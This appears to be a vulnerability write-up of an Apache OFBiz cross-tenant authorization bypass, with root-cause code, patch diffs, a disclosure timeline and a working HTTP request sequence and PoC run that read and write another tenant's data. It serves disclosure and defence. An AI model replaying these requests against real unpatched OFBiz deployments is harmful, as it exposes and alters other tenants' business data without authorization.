Skip to content

CVE-2026-84728: Apache OFBiz Cross-Tenant Authorization Bypass in Mapped-Domain Login

TL;DR

  • A low-privilege account in one OFBiz tenant could read and write data belonging to another tenant.
  • ContextFilter chose the tenant from the hostname. LoginWorker preferred the caller-supplied userTenantId parameter.
  • Logging in to tenant A's hostname with tenant B's ID authenticated the user against B and left the request bound to A.
  • The next request read and wrote A's database. Permission checks used B. I demonstrated Party data disclosure and a cross-tenant ProductAssoc write.
  • CVE-2026-84728 affects Apache OFBiz before 24.09.08 and is fixed in 24.09.08, which makes both components agree on the hostname.

Summary

  • CVE: CVE-2026-84728
  • Product: Apache OFBiz (Java ERP suite)
  • Vulnerability: Cross-Tenant Authorization Bypass via Conflicting Tenant Resolution
  • Affected Versions: < 24.09.08
  • Fixed In: 24.09.08
  • Severity: Important (per Apache)
  • CVSS Severity: 5.4 (medium, CISA-ADP)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
  • Required Privilege: A low-privilege account in any tenant, holding the manager permission for the operation being reached (for example PARTYMGR_VIEW to read parties)
  • Advisory: Apache OFBiz CVE Announcements
  • Reported: August 2, 2026
  • NVD Published: November 5, 2026

Introduction

OFBiz multitenancy gives each tenant its own database behind one running application. A request is pointed at the right one by hostname, through a TenantDomainName lookup, and everything downstream follows from that.

LoginWorker resolves the tenant again during login and gives the same inputs the opposite priority.

Root Cause Analysis

The excerpts below are from the tested release24.09 snapshot at commit b5ca713e.

Two Components, Two Orders

ContextFilter runs first and resolves the tenant from the hostname.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ContextFilter.java
GenericValue tenantDomainName = EntityQuery.use(baseDelegator).from("TenantDomainName").where("domainName", serverName).queryOne();
String tenantId = null;
if (UtilValidate.isNotEmpty(tenantDomainName)) {
    tenantId = tenantDomainName.getString("tenantId"); // [1] Hostname wins.
}
if (UtilValidate.isEmpty(tenantId)) {
    tenantId = (String) httpRequest.getAttribute("userTenantId");
}
if (UtilValidate.isEmpty(tenantId)) {
    tenantId = httpRequest.getParameter("userTenantId"); // [2] Parameter fallback.
}

In ContextFilter, [1] wins on a hostname mapped to tenant A and [2] never runs. The filter then builds A's delegator, dispatcher and security objects and publishes the resolved tenant as a request attribute.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ContextFilter.java
request.setAttribute("delegator", delegator);
request.setAttribute("dispatcher", dispatcher);
request.setAttribute("security", security);
request.setAttribute("userTenantId", tenantId); // [3] Published tenant attribute.

[3] stores the hostname-derived tenant as a request attribute. LoginWorker then resolves the tenant again using the opposite priority.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java
String tenantId = request.getParameter("userTenantId"); // [4] Parameter wins.
if (UtilValidate.isEmpty(tenantId)) {
    tenantId = (String) request.getAttribute("userTenantId"); // [5] Attribute used only as fallback.
}

In LoginWorker, [4] is a form field, so an attacker posting userTenantId=B to tenant A's hostname never reaches [5]. Login proceeds against B, valid B credentials succeed, and OFBiz stores B's delegator name, dispatcher, security object and userLogin in the session.

userTenantId must name the attacker's tenant.

The Next Request Only Half Switches Back

The attacker now sends an ordinary request to the same hostname, with no tenant selector at all. ContextFilter resolves A again and overwrites session.delegatorName. The session retains B's dispatcher, security object and userLogin. ControlServlet then assembles the request from both.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ControlServlet.java
Delegator delegator = null;
String delegatorName = (String) session.getAttribute("delegatorName");
if (UtilValidate.isNotEmpty(delegatorName)) {
    delegator = DelegatorFactory.getDelegator(delegatorName); // [6] Tenant A delegator.
}
// ... null fallbacks omitted; they only matter when no session value exists.
LocalDispatcher dispatcher = (LocalDispatcher) session.getAttribute("dispatcher"); // [7] Tenant B dispatcher.
// ... null fallback omitted.
request.setAttribute("dispatcher", dispatcher);

Security security = (Security) session.getAttribute("security"); // [8] Tenant B security.
// ... null fallback omitted.
request.setAttribute("security", security);

In ControlServlet, the delegator at [6] is rebuilt from a name the filter refreshed, so it follows the hostname to A. The dispatcher at [7] and the security object at [8] are taken from the session, which nobody refreshed, so they stay on B.

SecurityFactory caches security implementations per delegator name, and ServiceContainer keys tenant dispatchers separately, because each holds a delegator reference. The request that comes out of this has delegator=A, dispatcher=B, security=B and userLogin=B.

Permission Checked in One Tenant, Data Touched in Another

Controller authentication calls LoginWorker.checkLogout. It reads the session userLogin and checks base permissions through the request security object, both of them B's. A B user with Party Manager view rights passes.

Afterwards the screen uses the request delegator. Party Manager's listLoggedInUsers grid runs a direct Visit entity query for userLoginId, partyId and clientIpAddress, and that query goes to A. The viewprofile decorator loads Party, Person and PartyGroup from A. Its permission conditions dispatch through B.

The write side behaves the same way. ProductEvents.updateProductAssoc obtains the request delegator and security object separately, requires CATALOG_CREATE through B's security object, then validates both product IDs and persists the new ProductAssoc through A's delegator.

Impact

A low-privilege account in one tenant reaches another tenant's data, provided that tenant has a hostname mapped through TenantDomainName. The attacker can use any victim-tenant operation for which their own tenant grants the matching manager permission. Read access needs the relevant VIEW permission. The demonstrated write needed CATALOG_CREATE. The attacker authenticates only to their own tenant and gets the victim tenant from the hostname mapping.

I demonstrated reads with an account holding only OFBTOOLS_VIEW and PARTYMGR_VIEW, recovering tenant A's active usernames, Party IDs and client IP addresses, then a full Party profile for a disclosed ID. A separate B account holding OFBTOOLS_VIEW, CATALOG_VIEW and CATALOG_CREATE created a ProductAssoc between two tenant A products, so writes are in scope too.

Exploitation

Preconditions

  • Apache OFBiz before 24.09.08 with multitenant=Y and at least two configured tenants.
  • A hostname mapped through TenantDomainName to the victim tenant.
  • A valid low-privilege account in any other tenant. For reads, OFBTOOLS_VIEW and PARTYMGR_VIEW. For writes, OFBTOOLS_VIEW and CATALOG_VIEW to reach Catalog Manager, plus the permission the target handler checks, CATALOG_CREATE for the demonstrated ProductAssoc write.

Request Sequence

Three requests, and only the middle one carries anything unusual.

GET /partymgr/control/main HTTP/1.1
Host: tenant-a.example
POST /partymgr/control/login HTTP/1.1
Host: tenant-a.example
Content-Type: application/x-www-form-urlencoded

USERNAME=b-reader&PASSWORD=B_PASSWORD&JavaScriptEnabled=N&userTenantId=TENANTB
GET /partymgr/control/listLoggedInUsers HTTP/1.1
Host: tenant-a.example
Cookie: JSESSIONID=...

The login uses tenant B and the Host header names tenant A. The third request omits userTenantId, leaving the mixed session state in place.

Swapping /partymgr for /catalog in the first two and then posting the following produces the write.

POST /catalog/control/quickAdminUpdateProductAssoc HTTP/1.1
Host: tenant-a.example
Cookie: JSESSIONID=...
Content-Type: application/x-www-form-urlencoded

UPDATE_MODE=CREATE&PRODUCT_ID=A_PRODUCT_1&PRODUCT_ID_TO=A_PRODUCT_2&PRODUCT_ASSOC_TYPE_ID=ALSO_BOUGHT&REASON=CROSS_TENANT_TEST

PoC

The PoC logs in with the attacker tenant's ID against the victim's mapped host, then reads the victim tenant's active-user grid and an optional Party profile. The --write variant repeats the login against /catalog and creates a ProductAssoc.

Here, localhost mapped to TENANTA. tenantb-reader existed only in TENANTB and held OFBTOOLS_VIEW and PARTYMGR_VIEW.

python3 cve_2026_84728.py https://localhost:19443 tenantb-reader 'B_PASSWORD' TENANTB --party-id TENANT_A_SECRET
  ___  _____ ____ ___ _____
 / _ \|  ___| __ )_ _|__  /
| | | | |_  |  _ \| |  / /
| |_| |  _| | |_) | | / /_
 \___/|_|   |____/___/____|
  cross-tenant authorization bypass  ·  CVE-2026-84728
  discovered by CryptoCat · cryptocat.me

 [*] Victim host: https://localhost:19443
 [+] host maps to victim tenant TENANTA, logging in as tenant TENANTB
 [+] authenticated as tenantb-reader from tenant TENANTB
 [+] recovered 1 victim-tenant active-user record(s)
 [+] recovered a victim-tenant Party profile under attacker-tenant authorisation
  ------------------------------------------------------------
{
  "target": "https://localhost:19443",
  "mappedVictimTenantId": "TENANTA",
  "authenticatedUser": "tenantb-reader",
  "credentialTenantId": "TENANTB",
  "loggedInUsers": [
    {
      "userLoginId": "tenant-a-victim",
      "partyId": "TENANT_A_SECRET",
      "clientIpAddress": "172.19.0.1"
    }
  ],
  "profile": {
    "partyId": "TENANT_A_SECRET",
    "title": "CONFIDENTIAL TENANT A STRATEGY [TENANT_A_SECRET]"
  }
}

Demo

Party Manager renders the victim tenant's profile, CONFIDENTIAL TENANT A STRATEGY, on tenant A's hostname. The account menu still shows the signed-in user as tenantb-reader.

Apache OFBiz Party Manager showing the tenant A party profile while the account menu identifies the logged-in user as tenantb-reader

Patch Diffing

The fix, 61d67c3b28, makes LoginWorker use the same priority order as ContextFilter. The commit is an ancestor of the final 24.09.08 release tag.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java (checkLogin)
 String tenantId = request.getParameter("userTenantId");
-if (UtilValidate.isEmpty(tenantId)) {
-    tenantId = (String) request.getAttribute("userTenantId");
+// ... explanatory security comment omitted.
+String requestTenantId = (String) request.getAttribute("userTenantId");
+if (UtilValidate.isNotEmpty(requestTenantId)) {
+    tenantId = requestTenantId;
 }

The request attribute is what ContextFilter wrote after resolving the hostname, so it is now authoritative and the form field applies only where the filter reached no conclusion.

The second change stops a session surviving the mismatch at all.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ContextFilter.java (doFilter)
 if (UtilValidate.isNotEmpty(tenantId)) {
+    // ... explanatory security comment omitted.
+    HttpSession existingSession = httpRequest.getSession(false);
+    if (existingSession != null) {
+        String existingDelegatorName = (String) existingSession.getAttribute("delegatorName");
+        if (UtilValidate.isNotEmpty(existingDelegatorName)) {
+            int hashIndex = existingDelegatorName.indexOf('#');
+            String existingTenantId =
+                    hashIndex > 0 ? existingDelegatorName.substring(hashIndex + 1).trim() : null;
+            if (existingTenantId != null && !tenantId.equals(existingTenantId)) {
+                Debug.logWarning("Tenant context mismatch: the session is bound to a"
+                        + " different tenant than the one resolved for this request."
+                        + " Invalidating the session so a clean per-tenant context is"
+                        + " rebuilt on the next request.", MODULE);
+                existingSession.invalidate();
+            }
+        }
+    }

A session already bound to one tenant is now destroyed when it arrives on a hostname that resolves to another. This invalidates mismatched sessions regardless of how they were created.

Remediation

Upgrade to Apache OFBiz 24.09.08 or later.

Deployments not using multitenancy are unaffected. In multitenant deployments, this route requires a victim tenant exposed through a TenantDomainName mapping. A tenant reachable only through a tenant selector is not affected by this route.

Disclosure Timeline

  • August 2, 2026: Reported to the Apache OFBiz security team.
  • September 2, 2026: Apache committed the fix, assigned CVE-2026-84728 and shared the draft advisory.
  • November 3, 2026: Apache announced OFBiz 24.09.08, the first released version containing the fix.
  • November 4, 2026: Apache publicly announced CVE-2026-84728 in its consolidated OFBiz CVE notice.
  • November 5, 2026: CVE.org and NVD published CVE-2026-84728.

Conclusion

OFBiz resolves tenant context in both ContextFilter and LoginWorker to support shared and dedicated login hosts. Their priority rules disagreed. The session retained objects from one tenant after the delegator switched to another.

References